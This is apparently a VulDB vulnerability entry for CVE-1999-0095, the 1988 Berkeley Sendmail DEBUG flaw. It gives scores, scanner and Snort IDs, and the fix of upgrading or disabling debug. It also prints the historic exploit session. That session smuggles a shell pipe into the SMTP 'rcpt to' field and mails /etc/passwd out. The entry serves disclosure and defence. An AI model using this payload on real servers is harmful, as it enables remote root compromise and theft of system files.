Berkeley Sendmail up to 5.58 DEBUG privileges management

CVSS Meta Temp Score CVSS is a standardized scoring system to determine possibilities of attacks. The Temp Score considers temporal factors like disclosure, exploit and countermeasures. The unique Meta Score calculates the average score of different sources to provide a normalized scoring system.	Current Exploit Price (≈) Our analysts are monitoring exploit markets and are in contact with vulnerability brokers. The range indicates the observed or calculated exploit price to be seen on exploit markets. A good indicator to understand the monetary effort required for and the popularity of an attack.	CTI Interest Score Our Cyber Threat Intelligence team is monitoring different web sites, mailing lists, exploit markets and social media networks. The CTI Interest Score identifies the interest of attackers and the security community for this specific vulnerability in real-time. A high score indicates an elevated risk to be targeted for this vulnerability.
9.4	$0-$5k	0.00

Summaryinfo

A vulnerability has been found in Berkeley Sendmail up to 5.58 and classified as critical. This issue affects some unknown processing of the component DEBUG Handler. Performing a manipulation results in privileges management. This vulnerability is identified as CVE-1999-0095. The attack can be initiated remotely. Additionally, an exploit exists. This vulnerability is considered historic because of its background and reception. The affected component should be upgraded.

Detailsinfo

A vulnerability, which was classified as very critical, was found in Berkeley Sendmail up to 5.58 (Mail Server Software). This affects an unknown part of the component DEBUG Handler. The manipulation with an unknown input leads to a privileges management vulnerability. CWE is classifying the issue as CWE-269. The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor. This is going to have an impact on confidentiality, integrity, and availability. The summary by CVE is:

The debug command in Sendmail is enabled, allowing attackers to execute commands as root.

The weakness was released 11/07/1988 as CA-1988-01 as confirmed advisory (CERT.org). It is possible to read the advisory at cert.org. This vulnerability is uniquely identified as CVE-1999-0095. It is possible to initiate the attack remotely. No form of authentication is needed for exploitation. Technical details are unknown but a public exploit is available. The pricing for an exploit might be around USD $0-$5k at the moment (estimation calculated on 04/16/2026). The attack technique deployed by this issue is T1068 according to MITRE ATT&CK. Due to its background and reception, this vulnerability has a historic impact.

A public exploit has been developed in SMTP and been published even before and not after the advisory. The exploit is shared for download at exploit-db.com. It is declared as highly functional. The vulnerability was handled as a non-public zero-day exploit for at least 61 days. During that time the estimated underground price was around $5k-$25k. The vulnerability scanner Nessus provides a plugin with the ID 10247 (Sendmail DEBUG/WIZ Remote Command Execution), which helps to determine the existence of the flaw in a target environment. It is assigned to the family SMTP problems and running in the context r. The commercial vulnerability scanner Qualys is able to test this issue with plugin 74131 (Berkeley Sendmail DEBUG Vulnerability). The code used by the exploit is:

220 mail.victim.com SMTP
helo attacker.com
250 Hello attacker.com, pleased to meet you.
debug
200 OK
mail from: </dev/null>
250 OK
rcpt to:<|sed -e '1,/^$/'d | /bin/sh ; exit 0">
250 OK
data
354 Start mail input; end with <CRLF>.<CRLF>
mail [email protected] </etc/passwd
.
250 OK
quit
221 mail.victim.com Terminating

Upgrading to version 5.59 eliminates this vulnerability. It is possible to mitigate the problem by applying the configuration setting Disable Debug. The best possible mitigation is suggested to be upgrading to the latest version. Attack attempts may be identified with Snort ID 663.

The vulnerability is also documented in the databases at X-Force (125), Exploit-DB (19028), Tenable (10247), SecurityFocus (BID 1†) and OSVDB (195†). Entry connected to this vulnerability is available at VDB-13666. Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.

Productinfo

Type

• Mail Server Software

Vendor

• Berkeley

Name

• Sendmail

Version

• 5.0
• 5.1
• 5.2
• 5.3
• 5.4
• 5.5
• 5.6
• 5.7
• 5.8
• 5.9
• 5.10
• 5.11
• 5.12
• 5.13
• 5.14
• 5.15
• 5.16
• 5.17
• 5.18
• 5.19
• 5.20
• 5.21
• 5.22
• 5.23
• 5.24
• 5.25
• 5.26
• 5.27
• 5.28
• 5.29
• 5.30
• 5.31
• 5.32
• 5.33
• 5.34
• 5.35
• 5.36
• 5.37
• 5.38
• 5.39
• 5.40
• 5.41
• 5.42
• 5.43
• 5.44
• 5.45
• 5.46
• 5.47
• 5.48
• 5.49
• 5.50
• 5.51
• 5.52
• 5.53
• 5.54
• 5.55
• 5.56
• 5.57
• 5.58

License

• open-source

CPE 2.3info

• 🔍
• 🔍
• 🔍

CPE 2.2info

• 🔍
• 🔍
• 🔍

CVSSv4info

VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv3info

VulDB Meta Base Score: 9.8
VulDB Meta Temp Score: 9.4

VulDB Base Score: 9.8
VulDB Temp Score: 9.4
VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv2info

AV	AC	Au	C	I	A
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳

Vector	Complexity	Authentication	Confidentiality	Integrity	Availability
Unlock	Unlock	Unlock	Unlock	Unlock	Unlock
Unlock	Unlock	Unlock	Unlock	Unlock	Unlock
Unlock	Unlock	Unlock	Unlock	Unlock	Unlock

VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍

NVD Base Score: 🔍

Exploitinginfo

Class: Privileges management
CWE: CWE-269 / CWE-266
CAPEC: 🔍
ATT&CK: 🔍

Physical: No
Local: No
Remote: Yes

Availability: 🔍
Access: Public
Status: Highly functional
Programming Language: 🔍
Download: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Price Prediction: 🔍
Current Price Estimation: 🔍

0-Day	Unlock	Unlock	Unlock	Unlock
Today	Unlock	Unlock	Unlock	Unlock

Nessus ID: 10247
Nessus Name: Sendmail DEBUG/WIZ Remote Command Execution
Nessus File: 🔍
Nessus Risk: 🔍
Nessus Family: 🔍
Nessus Context: 🔍

OpenVAS ID: 10247
OpenVAS Name: Sendmail DEBUG
OpenVAS File: 🔍
OpenVAS Family: 🔍

Qualys ID: 🔍
Qualys Name: 🔍

Exploit-DB: 🔍

Threat Intelligenceinfo

Interest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍

Countermeasuresinfo

Recommended: Upgrade
Status: 🔍

0-Day Time: 🔍

Upgrade: Sendmail 5.59
Config: Disable Debug

Snort ID: 663
Snort Message: SERVER-MAIL Sendmail rcpt to command attempt
Snort Class: 🔍
SourceFire IPS: 🔍
ISS Proventia IPS: 🔍

Timelineinfo

08/01/1988 🔍
08/01/1988 +0 days 🔍
10/01/1988 +61 days 🔍
10/01/1988 +0 days 🔍
11/07/1988 +37 days 🔍
08/22/1999 +3940 days 🔍
09/12/2002 +1117 days 🔍
10/23/2002 +40 days 🔍
06/16/2014 +4254 days 🔍
04/16/2026 +4322 days 🔍

Sourcesinfo

Advisory: CA-1988-01
Status: Confirmed

CVE: CVE-1999-0095 (🔍)
GCVE (CVE): GCVE-0-1999-0095
GCVE (VulDB): GCVE-100-13611
X-Force: 125
SecurityFocus: 1 - Berkeley Sendmail DEBUG Vulnerability
OSVDB: 195 - Sendmail debug Arbitrary Command Execution
Vulnerability Center: 209 - SendMail Debug Allows Command Execution, High

scip Labs: https://www.scip.ch/en/?labs.20161013
See also: 🔍

Entryinfo

Created: 06/16/2014 14:34
Updated: 04/16/2026 03:03
Changes: 06/16/2014 14:34 (82), 05/07/2019 10:51 (9), 11/11/2024 13:27 (16), 04/03/2025 03:37 (1), 10/27/2025 20:00 (2), 04/16/2026 03:03 (1)
Complete: 🔍
Cache ID: 216::103

Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.

Discussion

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